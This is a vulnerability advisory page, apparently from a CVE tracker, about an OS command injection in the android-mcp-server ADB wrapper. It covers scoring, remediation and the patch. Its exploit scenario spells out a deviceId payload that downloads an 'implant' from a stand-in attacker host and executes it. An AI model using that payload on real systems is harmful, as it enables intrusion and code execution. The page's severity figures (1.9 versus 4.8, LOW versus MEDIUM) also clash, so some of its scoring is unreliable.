Skip to main content

android-mcp-server EUVDEUVD-2026-60038

| CVE-2026-19978 LOW
OS Command Injection (CWE-78)
2026-08-17 VulDB GHSA-2wr2-48g3-wphx
1.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain local low-privilege system access
  2. Delivery
    Send crafted MCP tool request with injected shell payload in deviceId, packageName, or permission parameter
  3. Exploit
    child_process.exec() interpolates unsanitized input into shell command string
  4. Execution
    Injected OS commands execute under server process privileges
  5. Impact
    Arbitrary local code execution achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires local host access with at least low-privilege OS credentials sufficient to interact with the android-mcp-server process, as confirmed by the CVSS 4.0 vector metrics AV:L and PR:L. No special server configuration, feature flag, or non-default deployment mode is required - the vulnerable child_process.exec() code path is exercised by any invocation of the affected ADB command tools in their default state. Injection is achievable through any of five parameters: deviceId, packageName, permission, extras[].key, or extras[].value. Exploitation is strictly constrained to local access: remote unauthenticated attackers cannot reach this endpoint without first obtaining local system presence. No user interaction is required (UI:N). The limiting factors are therefore the local-only attack vector and the need for at least a low-privilege local account - these significantly reduce the realistic attacker pool compared to a network-exploitable vulnerability.

Impact

The CVSS 4.0 score of 4.8 reflects a local attack vector (AV:L) with low privilege requirements (PR:L) and limited confidentiality, integrity, and availability impact, all rated Low, with no scope change to subsequent systems. No CISA KEV listing means confirmed active exploitation in the wild is not established; however, the publicly available proof-of-concept - reflected by the E:P exploitability modifier in the CVSS 4.0 vector - means any low-privilege local user could exploit this with minimal skill once local access is obtained. EPSS data was not provided in the available intelligence sources, so exploitation probability cannot be independently quantified. Even a mid-sized developer tooling team in malbork deploying this MCP server on shared workstations should prioritize patching promptly, given the trivially exploitable command injection primitive and the existence of public PoC code - despite the limited blast radius inherent to the local-only attack vector. The low C/I/A ratings suggest partial rather than full system compromise in typical scenarios, but command injection primitives can be chained with local privilege escalation to amplify impact beyond the initial foothold.

Exploit ScenarioDerived

A local attacker with low-privilege shell access to a developer workstation running android-mcp-server sends a crafted MCP tool invocation with a malicious deviceId value such as validdevice; wget attacker.com/implant -O /tmp/p && chmod +x /tmp/p && /tmp/p to the server's command execution endpoint. The vulnerable child_process.exec() call interpolates this value verbatim into a shell command string without sanitization, causing the injected commands to run under the server process's OS privileges. A proof-of-concept demonstrating this technique has been publicly disclosed via the GitHub issue tracker at https://github.com/jiantao88/android-mcp-server/issues/1.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 17, 2026

OS command injection in android-mcp-server's build/index.js allows local low-privilege attackers to execute arbitrary shell commands by supplying malicious values for parameters such as deviceId, packageName, permission, or extras fields passed to the child_process.exec() ADB command builder. The vulnerable code interpolates user-supplied input directly into shell command strings without sanitization, making exploitation trivial for any local user with access to the MCP server process. A publicly available proof-of-concept exists via the GitHub issue tracker, and a patch commit has been published; no CISA KEV listing confirms active in-the-wild exploitation at time of analysis.

RemediationAI

Update android-mcp-server to the patched commit 14e2bf27c88ba137e35cbb0c2a75f72b595bb98a or any later commit by pulling from the repository at https://github.com/jiantao88/android-mcp-server/; the specific patch diff is available at https://github.com/jiantao88/android-mcp-server/commit/14e2bf27c88ba137e35cbb0c2a75f72b595bb98a. Because the project has no versioned releases, operators must manually verify that their deployed commit hash is at or after the patch baseline. As a compensating control where immediate patching is not possible, restrict OS-level access to the system running android-mcp-server to trusted developer accounts only, reducing the attacker population; note this does not eliminate the underlying flaw and should not be treated as a permanent mitigation. Do not deploy this tool in shared or multi-user environments without first applying the patch.

Affected VersionsENISA

android-mcp-server cfb872b2446794193b58edd63f4dbf6af48a6292

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

android-mcp-server is a Node.js-based Model Context Protocol (MCP) server that wraps Android Debug Bridge (ADB) commands for Android device management, identified by CPE cpe:2.3:a:jiantao88:android-mcp-server:*:*:*:*:*:*:*:*. The root cause (CWE-78, OS Command Injection) lies in the use of Node.js child_process.exec() in build/index.js, which passes the full command as a single string to the OS shell (/bin/sh -c). User-supplied values for deviceId, packageName, permission, extras[].key, and extras[].value were interpolated directly into this shell command string - e.g., constructing const cmd = '"' + adbPath + '" ' + deviceOption + ' ' + command - without neutralizing shell metacharacters such as ;, &&, or |. The patch at commit 14e2bf27c88ba137e35cbb0c2a75f72b595bb98a replaces exec() with execFile() (which passes arguments as an array, bypassing shell interpretation entirely), introduces Zod regex-based input validation for packageName and permission fields, and adds a quoteRemoteShellArg() function for safe POSIX escaping of ADB remote shell arguments.

Know when Android Mcp Server gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 1.9 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.3 MEDIUM

Local attack vector with low-privilege access required to reach the MCP server; no scope change as impact is confined to the vulnerable system with partial C/I/A impact.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Aug 17, 2026 - 04:22 NVD
MEDIUM LOW
CVSS changed
Aug 17, 2026 - 04:22 NVD
4.8 (MEDIUM) 1.9 (LOW)
CVE Published
Aug 17, 2026 - 03:15 cve.org
MEDIUM 4.8

DescriptionCVE.org

A flaw has been found in jiantao88 android-mcp-server up to cfb872b2446794193b58edd63f4dbf6af48a6292. The impacted element is the function child_process.exec of the file build/index.js of the component Command Execution. Executing a manipulation of the argument deviceId/packageName/permission/extras[].key/extras[].value can lead to os command injection. It is possible to launch the attack on the local host. The exploit has been published and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. This patch is called 14e2bf27c88ba137e35cbb0c2a75f72b595bb98a. It is advisable to implement a patch to correct this issue.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Prevalence
Rare
obscure open-source Android MCP developer tool, minimal enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy